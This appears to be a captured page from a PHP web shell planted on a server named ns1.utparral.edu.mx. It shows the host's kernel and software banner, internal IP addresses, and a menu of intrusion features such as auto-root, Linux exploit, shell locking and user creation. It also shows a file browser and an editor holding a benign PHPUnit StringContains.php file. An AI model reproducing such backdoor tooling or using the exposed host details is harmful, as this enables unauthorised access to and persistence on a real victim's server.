Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
PHPUnit /
Framework /
Constraint /
[ HOME SHELL ]
Name
Size
Permission
Action
And.php
5.16
KB
-rw-r--r--
ArrayHasKey.php
3.91
KB
-rw-r--r--
Attribute.php
4.54
KB
-rw-r--r--
ClassHasAttribute.php
4.08
KB
-rw-r--r--
ClassHasStaticAttribute.php
3.55
KB
-rw-r--r--
Composite.php
4.04
KB
-rw-r--r--
Count.php
4.01
KB
-rw-r--r--
FileExists.php
3.6
KB
-rw-r--r--
GreaterThan.php
3.35
KB
-rw-r--r--
IsAnything.php
3.77
KB
-rw-r--r--
IsEmpty.php
3.61
KB
-rw-r--r--
IsEqual.php
6.65
KB
-rw-r--r--
IsFalse.php
3.04
KB
-rw-r--r--
IsIdentical.php
5.71
KB
-rw-r--r--
IsInstanceOf.php
3.98
KB
-rw-r--r--
IsNull.php
3.04
KB
-rw-r--r--
IsTrue.php
3.04
KB
-rw-r--r--
IsType.php
5.46
KB
-rw-r--r--
LessThan.php
3.34
KB
-rw-r--r--
Not.php
6.36
KB
-rw-r--r--
ObjectHasAttribute.php
3.08
KB
-rw-r--r--
Or.php
5.01
KB
-rw-r--r--
PCREMatch.php
3.58
KB
-rw-r--r--
SameSize.php
2.78
KB
-rw-r--r--
StringContains.php
3.95
KB
-rw-r--r--
StringEndsWith.php
3.36
KB
-rw-r--r--
StringMatches.php
3.49
KB
-rw-r--r--
StringStartsWith.php
3.34
KB
-rw-r--r--
TraversableContainsOnly.php
4.58
KB
-rw-r--r--
TraversableContains.php
5.02
KB
-rw-r--r--
Xor.php
5.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StringContains.php
<?php /** * PHPUnit * * Copyright (c) 2002-2011, Sebastian Bergmann <sebastian@phpunit.de>. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of Sebastian Bergmann nor the names of his * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package PHPUnit * @subpackage Framework_Constraint * @author Sebastian Bergmann <sebastian@phpunit.de> * @author Bernhard Schussek <bschussek@2bepublished.at> * @copyright 2002-2011 Sebastian Bergmann <sebastian@phpunit.de> * @license http://www.opensource.org/licenses/bsd-license.php BSD License * @link http://www.phpunit.de/ * @since File available since Release 3.0.0 */ /** * Constraint that asserts that the string it is evaluated for contains * a given string. * * Uses strpos() to find the position of the string in the input, if not found * the evaluaton fails. * * The sub-string is passed in the constructor. * * @package PHPUnit * @subpackage Framework_Constraint * @author Sebastian Bergmann <sebastian@phpunit.de> * @author Bernhard Schussek <bschussek@2bepublished.at> * @copyright 2002-2011 Sebastian Bergmann <sebastian@phpunit.de> * @license http://www.opensource.org/licenses/bsd-license.php BSD License * @version Release: 3.6.0 * @link http://www.phpunit.de/ * @since Class available since Release 3.0.0 */ class PHPUnit_Framework_Constraint_StringContains extends PHPUnit_Framework_Constraint { /** * @var string */ protected $string; /** * @var boolean */ protected $ignoreCase; /** * @param string $string * @param boolean $ignoreCase */ public function __construct($string, $ignoreCase = FALSE) { $this->string = $string; $this->ignoreCase = $ignoreCase; } /** * Evaluates the constraint for parameter $other. Returns TRUE if the * constraint is met, FALSE otherwise. * * @param mixed $other Value or object to evaluate. * @return bool */ protected function matches($other) { if ($this->ignoreCase) { return stripos($other, $this->string) !== FALSE; } else { return strpos($other, $this->string) !== FALSE; } } /** * Returns a string representation of the constraint. * * @return string */ public function toString() { if ($this->ignoreCase) { $string = strtolower($this->string); } else { $string = $this->string; } return sprintf( 'contains "%s"', $string ); } }
Close